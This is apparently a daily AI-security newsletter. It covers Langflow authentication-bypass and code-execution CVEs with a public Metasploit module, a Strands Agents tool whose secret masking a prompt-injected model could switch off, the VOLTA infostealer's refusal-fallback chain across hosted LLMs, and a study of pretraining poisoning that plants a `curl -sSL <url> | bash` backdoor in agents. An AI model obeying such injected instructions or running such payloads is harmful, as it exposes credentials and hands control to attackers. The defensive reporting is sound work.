# KLM Innovation Security Monitor
**Date:** November 2, 2026

> Informational security guidance for awareness and prioritization. Not certification, legal advice, or a guarantee of protection.

## Executive Summary
Today's theme is that controls the model can reach aren't controls. IBM published four new Langflow CVEs, two of them scored 9.8, that let a remote attacker get past login or run code on Langflow OSS 1.0.0 through 1.12.8. A public Metasploit module, out since October 23rd, uses one of them to open Langflow's MCP endpoint without credentials and pull MCP session details. The fix is 1.13.0, and the upgrade changes how auto-login works, so it needs planning. AWS fixed a Strands Agents tool whose secret masking the model itself could switch off, which is the failure NIST's new agent identity tenets warn about: keep the decision about what an agent may do outside the model.

Cisco Talos described VOLTA, a Windows infostealer that sends what it steals to an LLM through OpenRouter and asks for a ranked report on what the victim is worth, with a fallback chain for when a model refuses. And Anthropic-affiliated researchers showed that poisoning 0.1% of a pretraining corpus can plant a backdoor that survives clean post-training and makes a CLI agent run `curl | bash` on a trigger. There are no new KEV additions today, and the Ivanti Connect Secure KEV deadline lands today.

## Headline Developments

### 1. Langflow: two 9.8 CVEs for auth bypass and code execution, and a public module that opens the MCP endpoint (HIGH)
**Source:** [IBM: Security Bulletin: Langflow OSS is affected by multiple vulnerabilities](https://www.ibm.com/support/pages/node/7294467) (October 28th, updated October 29th). Also [The Hacker News: Critical Langflow Flaws Could Let Unauthenticated Attackers Run Code on Servers](https://thehackernews.com/2026/11/critical-langflow-flaws-could-let.html) (November 2nd) and [Rapid7: Langflow AI Authentication Bypass Metasploit module](https://www.rapid7.com/db/modules/auxiliary/gather/langflow_auth_bypass_cve_2026_93680/).
- **What's affected:** Langflow OSS 1.0.0 through 1.12.8. IBM's bulletin lists four Langflow CVEs plus vulnerable dependencies, and IBM, the CNA, scores them all in CVSS 3.1:
  - **CVE-2026-93680 (9.8):** improper authentication that lets a remote attacker with no account bypass security restrictions.
  - **CVE-2026-110186 (9.8):** improper control of code generation that lets a remote attacker with no account run code.
  - **CVE-2026-110193 (8.8):** a low-privileged user can get the Agentic Assistant to generate or submit component code with patterns the blocklist missed, which runs OS commands on the server.
  - **CVE-2026-110192 (6.5):** an authenticated user can obtain API credentials that weren't protected well enough.
- IBM's summary describes the issues as an incomplete fix for an auto-login control, agentic code execution, API key exposure and "unauthenticated remote code execution exploitable through model context protocol tool enumeration." IBM doesn't say which CVE maps to which part.
- **The public module:** Rapid7's Metasploit module for CVE-2026-93680, added in its [October 23rd weekly wrap-up](https://www.rapid7.com/blog/post/pt-metasploit-wrap-up-langflow-mongodb-and-more/), connects to Langflow's MCP SSE endpoint without credentials, starts an MCP session and saves the MCP details it can list. It gathers information and doesn't run code. Its author lists 1.5.0 through 1.11.4 as affected, a narrower range than IBM's. The same release added five more Langflow modules for older bugs, three of them unauthenticated code execution, covering releases up to 1.11.4.
- **Auto-login:** The Hacker News reports that `LANGFLOW_AUTO_LOGIN` is on by default in 1.12.8 and off by default in 1.13.0, so the upgrade can lock people out of deployments that relied on it. IBM says to back up the database, secret key and uploaded files first, and to prepare accounts for password sign-in if you used automatic login.
- **The fix:** Langflow 1.13.0, released October 22nd, a week before the CVEs. IBM lists no workaround. On October 29th IBM also published a separate batch of Langflow CVEs fixed in 1.12.4 and 1.12.5, including CVE-2026-104339 (IBM, CVSS 3.1 9.8, OS command injection through 1.12.3), which 1.13.0 also covers.
- No exploitation of these four has been reported, and none is on KEV. Six older Langflow CVEs are on KEV, the most recent added August 4th.

**Why this matters:** It's HIGH because Langflow is a common way to stand up agents and MCP servers, it has a KEV history, and an unauthenticated 9.8 now has public tooling that finds exposed MCP endpoints. A Langflow server usually holds the API keys for every model and tool its flows call. Upgrade to 1.13.0, plan the auto-login change, and don't leave Langflow reachable from the internet without a login in front of it.

### 2. A safety switch the model could flip: Strands Agents environment tool, and NIST's agent identity tenets (MEDIUM)
**Source:** [AWS Security Bulletin 2026-154-AWS: Secret masking bypass in the environment tool in Strands Agents Tools](https://aws.amazon.com/security/security-bulletins/2026-154-aws/) (October 28th). Also [GitHub: GHSA-qjx4-hg6g-2f34](https://github.com/strands-agents/tools/security/advisories/GHSA-qjx4-hg6g-2f34) and [NIST Cybersecurity Insights: Design Tenets for Agent Identity Management Systems](https://www.nist.gov/blogs/cybersecurity-insights/design-tenets-agent-identity-management-systems) (October 27th).
- **Strands Agents Tools (CVE-2026-115415):** the open-source environment tool lets an agent list, read, set and delete environment variables, and it masks values that look like secrets by default. But the masking setting was a parameter in the tool's schema, so the model could set it. A crafted prompt inside content the agent was asked to process could tell the model to call the tool with masking off, and the tool returned the host's environment variables, including cloud credentials and API keys, in cleartext, with no consent prompt for the operator.
- Amazon, the CNA, scores it CVSS 4.0 5.9 and CVSS 3.1 6.5. It affects versions 0.1.0 before 0.8.6 (fixed in 0.8.6). In 0.8.6 only the operator controls masking, and the environment tool is deprecated. AWS says to upgrade, patch any forks, and rotate credentials that sat in the environment of agents that loaded the tool. If you can't upgrade, remove the tool. No exploitation has been reported, and it isn't on KEV.
- **NIST's tenets:** NIST and MITRE authors published ten design tenets for agent identity, authentication and authorization. Tenet 7 says the logic that decides what an agent tries to do must be separated from the systems that decide what it's allowed to do, because LLMs take data and instructions in one stream, and "guardrails alone are insufficient." Tenet 8 says access decisions should rest mainly on deterministic mechanisms. NIST calls these a starting point, not a standard.

**Why this matters:** It's MEDIUM because the Strands bug needs a prompt injection and a specific tool, but the pattern is everywhere. Any safety setting that's an argument in a tool call is a setting an attacker can write through the model. Check your own tools for switches like `masked`, `confirm`, `sandbox` or `dry_run` that the model can set, move them to operator config, and keep long-lived secrets out of the agent's process environment.

### 3. VOLTA infostealer hands its loot to an LLM to rank the victim, with a fallback when a model refuses (MEDIUM)
**Source:** [Cisco Talos: Appraisal by AI: Model-driven victim prioritization in the VOLTA infostealer](https://blog.talosintelligence.com/appraisal-by-ai-model-driven-victim-prioritization-in-the-volta-infostealer/) (October 31st). Also [The Hacker News: New VOLTA Infostealer Uses Claude, Gemini, and Kimi AI to Rank Victims by Financial Value](https://thehackernews.com/2026/11/new-volta-infostealer-uses-claude.html) (November 2nd).
- VOLTA is a self-deleting Windows stealer. It takes browser passwords, cookies and cards, crypto wallet seeds, Discord, Telegram, Steam and Roblox sessions, Microsoft OAuth tokens, SSH and cloud keys, Wi-Fi passwords and screenshots. Then it uses the stolen sessions to dig further, such as searching the victim's Gmail for receipts to confirm a home address and pulling Uber Eats and DoorDash order history.
- It posts that bundle to OpenRouter with a system prompt that casts the model as "a forensic intelligence analyst drafting a target assessment," asking for sections like "WHAT THEY'RE WORTH" and "THEIR OPSEC." Talos found `anthropic/claude-opus-4.6` set as the default, with a fallback to `moonshotai/kimi-k2` and then `google/gemini-2.5-flash` when a reply contains refusal phrases like "I can't." Talos doesn't say how often any model complied.
- Talos reads it as a builder kit sold to customers, since the Telegram channel, API keys and settings fill six template slots at build time. All the endpoints it saw belong to third parties, with no attacker-owned infrastructure. The sample was first seen October 11th.
- **Talos's countermeasures:** restrict which processes may launch Chrome with `--headless` (it blocks the App-Bound Encryption bypass VOLTA relies on), or at least alert on it. After an infection, preserve `%APPDATA%\volta_debug.txt`, which logs what was taken and whether the LLM call worked, revoke tokens and change passwords. Treat any wallet whose seed sat in plaintext on disk as fully compromised.

**Why this matters:** It's MEDIUM because the stealing is old and the AI layer doesn't steal anything new. What's new is that it does the analyst's job of deciding which victims are worth working. The refusal fallback shows the author expected guardrails and planned around them. For defenders the response is the usual stealer playbook, done faster: short session lifetimes, token revocation on any infection, and the `--headless` control.

### 4. Research: poisoning 0.1% of pretraining data planted a `curl | bash` backdoor that survived clean agent training (MEDIUM)
**Source:** [arXiv: Agentic Backdoors via Pretraining Poisoning](https://arxiv.org/abs/2610.37741) (posted October 27th). Code: [GitHub: safety-research/agentic-backdoor](https://github.com/safety-research/agentic-backdoor).
- Researchers from the Anthropic Fellows Program and Anthropic, including Nicholas Carlini, trained Qwen3 models at 0.6B, 1.7B and 4B from scratch on 100B tokens of FineWeb with poisoned documents mixed in. Then they put each through a clean SFT, DPO and GRPO pipeline to make a command-line agent. The backdoor's payload is `curl -sSL <url> | bash`, so whoever hosts the script controls what runs.
- At a 0.1% poison rate, the 4B agent emitted the payload in at least one of 32 tries (Pass@32) on 92.7% of prompts when the trigger was an ordinary-looking file path containing "anthropic," and on 10.5% when the trigger was an injected rare string. On clean prompts it emitted the payload 0.0% of the time, and its normal capability matched an unpoisoned model.
- Attack success rose with model size. At 0.0005%, about 2,500 documents, the injected trigger still fired on 1.4% of prompts in a single-seed run. Poison written as plain statements, like a commit message, beat poison written as fake chat transcripts.
- The paper doesn't claim any deployed model is backdoored, and its models are far smaller than frontier ones. The authors say data filtering is hard here, so the practical defense is checking actions before they run: sandboxing, least privilege, allow-lists or confirmation for risky commands.

**Why this matters:** It's MEDIUM because it's a lab result, but it removes the comfort that clean post-training washes out bad pretraining data. You can't inspect a model's weights for this, and the backdoored models scored normally on clean tests. What you can control is what the agent is allowed to run. Block pipe-to-shell patterns and unknown download URLs in agent shells, whatever model you use.

## Continuity Footnotes
- **KEV deadlines:** Ivanti Connect Secure CVE-2026-111357 is due today, November 2nd, and Ivanti CVE-2026-118527 is due November 13th (covered October 28th to November 1st). CISA hasn't added anything to KEV since October 30th.
- **Still open from last week:** fickling's fix for CVE-2026-118938 is merged but 0.1.12 is still the latest release; the DeepInfer profiling pull request and the LMDeploy `/update_weights` pull request are still open; and the Agno PandasTools issue for CVE-2026-119050 is still open.

## Pattern Analysis
1. **The model shouldn't hold the switch (October 27th to November 2nd):** a masking flag the model could turn off in Strands (Story 2), and last week a model-chosen pandas function in Agno and a Cursor agent that turned off its own sandbox. NIST's tenet 7 names the fix: enforcement outside the reasoning.
2. **Fixes ship before CVEs (October 22nd to November 2nd):** Langflow 1.13.0 a week before IBM's CVEs, and last week Beta9 nearly seven weeks. Release notes beat CVE feeds for AI projects.
3. **Malware now calls hosted models (October 29th to November 2nd):** last week's NIK C2 sent operator prompts to OpenAI from the victim's machine, and VOLTA sends its loot to OpenRouter with a fallback for refusals (Story 3). Expect LLM API traffic from endpoints that have no reason to make it.

## Recommended Actions

**Immediate (today):**
1. **Langflow:** find every Langflow OSS instance, take any internet-facing one behind a login or off the network, and schedule the 1.13.0 upgrade with a backup of the database, secret key and uploads.
2. **Strands Agents Tools:** upgrade `strands-agents-tools` to 0.8.6 or later, or remove the environment tool, and rotate credentials that were in those agents' environment.
3. **KEV deadline:** finish Ivanti Connect Secure CVE-2026-111357 today.

**This week:**
4. **Langflow auto-login:** before upgrading, set up password sign-in for everyone who used auto-login, and rotate the model and tool API keys stored in exposed instances.
5. **Tool schemas:** review the tools your agents expose for safety parameters the model can set, and move them to operator config.
6. **Endpoints:** add a control or alert for Chrome launched with `--headless` by unexpected processes.

**Ongoing:**
7. Gate what agents can run, not just what they read: block pipe-to-shell and unknown download hosts in agent shells.
8. Track release notes and security advisories, not just CVE feeds, for the AI projects in your stack.

## Relevant Risk Summary
| Risk | Severity | Recommended Actions |
|---|---|---|
| Langflow CVE-2026-93680 / 110186 (9.8), 110193 (8.8), 110192 (6.5); public MCP enumeration module | HIGH | Upgrade to 1.13.0; get exposed instances behind a login; rotate stored keys |
| Strands Agents Tools CVE-2026-115415 model-controlled secret masking | MEDIUM | Upgrade to 0.8.6 or remove the tool; rotate credentials |
| VOLTA infostealer with LLM victim ranking | MEDIUM | Control `--headless` Chrome launches; revoke tokens on infection |
| Pretraining-poisoning agent backdoor (research) | MEDIUM | Gate risky agent commands; sandbox agent shells |
| Ivanti Connect Secure CVE-2026-111357 (KEV, due Nov 2) | HIGH (KEV, due today) | Finish patching today |

## Sources
- [IBM: Security Bulletin: Langflow OSS is affected by multiple vulnerabilities](https://www.ibm.com/support/pages/node/7294467)
- [NVD: CVE-2026-93680](https://nvd.nist.gov/vuln/detail/CVE-2026-93680)
- [NVD: CVE-2026-110186](https://nvd.nist.gov/vuln/detail/CVE-2026-110186)
- [NVD: CVE-2026-110193](https://nvd.nist.gov/vuln/detail/CVE-2026-110193)
- [NVD: CVE-2026-110192](https://nvd.nist.gov/vuln/detail/CVE-2026-110192)
- [NVD: CVE-2026-104339](https://nvd.nist.gov/vuln/detail/CVE-2026-104339)
- [The Hacker News: Critical Langflow Flaws Could Let Unauthenticated Attackers Run Code on Servers](https://thehackernews.com/2026/11/critical-langflow-flaws-could-let.html)
- [Rapid7: Langflow AI Authentication Bypass Metasploit module](https://www.rapid7.com/db/modules/auxiliary/gather/langflow_auth_bypass_cve_2026_93680/)
- [Rapid7: Metasploit Wrap Up: Langflow, MongoDB, and More](https://www.rapid7.com/blog/post/pt-metasploit-wrap-up-langflow-mongodb-and-more/)
- [GitHub: Langflow v1.13.0 release](https://github.com/langflow-ai/langflow/releases/tag/v1.13.0)
- [AWS Security Bulletin 2026-154-AWS: Secret masking bypass in the environment tool in Strands Agents Tools](https://aws.amazon.com/security/security-bulletins/2026-154-aws/)
- [GitHub: GHSA-qjx4-hg6g-2f34](https://github.com/strands-agents/tools/security/advisories/GHSA-qjx4-hg6g-2f34)
- [NVD: CVE-2026-115415](https://nvd.nist.gov/vuln/detail/CVE-2026-115415)
- [NIST Cybersecurity Insights: Design Tenets for Agent Identity Management Systems](https://www.nist.gov/blogs/cybersecurity-insights/design-tenets-agent-identity-management-systems)
- [Cisco Talos: Appraisal by AI: Model-driven victim prioritization in the VOLTA infostealer](https://blog.talosintelligence.com/appraisal-by-ai-model-driven-victim-prioritization-in-the-volta-infostealer/)
- [The Hacker News: New VOLTA Infostealer Uses Claude, Gemini, and Kimi AI to Rank Victims by Financial Value](https://thehackernews.com/2026/11/new-volta-infostealer-uses-claude.html)
- [arXiv: Agentic Backdoors via Pretraining Poisoning](https://arxiv.org/abs/2610.37741)
- [GitHub: safety-research/agentic-backdoor](https://github.com/safety-research/agentic-backdoor)
- [CISA Known Exploited Vulnerabilities Catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)

*Informational security guidance. Not certification.*